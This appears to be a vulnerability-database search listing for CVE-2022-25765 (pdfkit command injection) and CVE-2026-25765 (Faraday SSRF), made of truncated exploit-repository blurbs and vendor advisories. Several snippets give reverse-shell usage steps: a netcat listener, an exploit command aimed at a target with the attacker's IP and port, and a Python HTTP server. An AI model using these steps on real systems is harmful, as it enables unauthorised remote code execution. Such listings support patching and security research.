46 matches found
CVE-2022-25765
CVE-2022-25765 PoC for Blind RCE for CVE-2022-25765 Tested in HTB - Precious Machine...
exploit-CVE-2022-25765
Exploit for CVE-2022-25765 pdfkit - Command Injection Like this repo? Give us a ⭐! For educational and authorized security research purposes only. Exploit Author @UNICORDev by @NicPWNs and @Dev-Yeoj Vulnerability Description The package pdfkit from 0.0.0 are vulnerable to Command Injection where...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 pdfkit 0.8.6 command injection. The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized. Note: This issue was patched in 0.8.7.2, but the patch was discovered to be ineffective. The updated patch version is 0.8.7.2 PoC Star...
CVE-2022-25765
Exploit para CVE-2022-25765 Un pequeño exploit PoC para CVE-2022-25765, PDFkit-CMD-Injection Uso 1. Inicia un listener de netcat en tu máquina de ataque: nc -lvnp 4444 2. Ejecuta el exploit: python cve-2022-25765.py -t http://TARGETIP:PORT -l YOURIP -p YOURPORT Ejemplo: python cve-2022-25765.py -...
PDFkit-CMD-Injection
PDFkit-CMD-Injection CVE-2022-25765 Detalle Descripción El paquete pdfkit desde 0.0.0 es vulnerable a Inyección de Comandos donde la URL no está debidamente saneada. PoC Iniciar un servidor HTTP 1- python3 -m http.server 80 Iniciar un listener de netcat 2- nc -lnvp 'Target Port' Hacer una solicit...
CVE-2022-25765
CVE-2022-25765 — pdfkit PoC para CVE-2022-25765 , que afecta a versiones vulnerables de pdfkit. Probado con pdfkit 0.8.6. Requisitos Python 3.x requests colorama Instalar dependencias: pip3 install -r requirements.txt O manualmente: pip3 install requests colorama Uso python3 exploit2.py -u -l -p...
PDFkit-CMD-Injection-CVE-2022-25765
PDFkit-CMD-Injection CVE-2022-25765 Exploit for CVE-2022-25765 command injection in pdfkit 0.8.6 See more details about the vulnerability here PoC Run the netcat on your host: root@kitploit: $ nc -lvnp 1337 Run the exploit example: root@kitploit: $ ./CVE-2022-25765.py -t http://localhost -a...
Photon OS 5.0: Rubygem PHSA-2026-5.0-92-0762
An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-92-0762. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
Photon OS 5.0: Rubygem PHSA-2026-5.0-91-0762
An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-91-0762. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
CLEANSTART-2026-PE72277 Security fixes in logstash-fips 9.3.0-r2
Package logstash-fips version 9.3.0-r2 fixes 2 vulnerabilities: CVE-2026-25765, ghsa-33mh-2634-fwr2...
Exploit for CVE-2022-25765
CVE-2022-25765 — Command Injection in pdfkit Descripción...
CVE-2026-25765 affecting package rubygem-faraday for versions less than 2.7.10-2
CVE-2026-25765 affecting package rubygem-faraday for versions less than 2.7.10-2. A patched version of the package is available...
Security Bulletin: Multiple vulnerabilities in IBM Aspera Orchestrator
Summary Multiple vulnerabilities were addressed in IBM Aspera Orchestrator 4.1.3 Vulnerability Details CVEID:CVE-2025-13213 DESCRIPTION: IBM Aspera Orchestrator is vulnerable to HTTP header injection, caused by improper validation of input by the HOST headers. This could allow an attacker to...
CVE-2026-25765 vulnerabilities
Vulnerabilities for packages: cinc-auditor, logstash, kube-logging-operator, kube-fluentd-operator...
CVE-2026-25765 vulnerabilities
Vulnerabilities for packages: gitlab-rails-ce, cinc-auditor, kube-fluentd-operator, logstash, kube-logging-operator, gitlab-rails-ce-fips, gitlab-cng...
Photon OS 5.0: Rubygem PHSA-2026-5.0-0762
An update of the rubygem package has been released. %NASLMINLEVEL 80900 C Tenable, Inc. The descriptive text and package checks in this plugin were extracted from VMware Security Advisory PHSA-2026-5.0-0762. The text itself is copyright C VMware, Inc. include'compat.inc'; if description...
CVE-2026-25765
creationtimestamp| type| source ---|---|--- 2026-02-09 21:10:05+00:00| seen| https://gist.github.com/alon710/cacea6a42bc4c1130907055ca55331a4 2026-05-18 15:58:50+00:00| seen| https://t.me/poxek/6119...
CVE-2026-25765
CVE-2026-25765 affects Faraday (an HTTP client abstraction). The vulnerability arises in build_exclusive_url (lib/faraday/connection.rb) which uses URI#merge; protocol-relative URLs (e.g., //evil.com/…) override the base URL’s host, enabling potential SSRF if user-controlled input is passed to ge...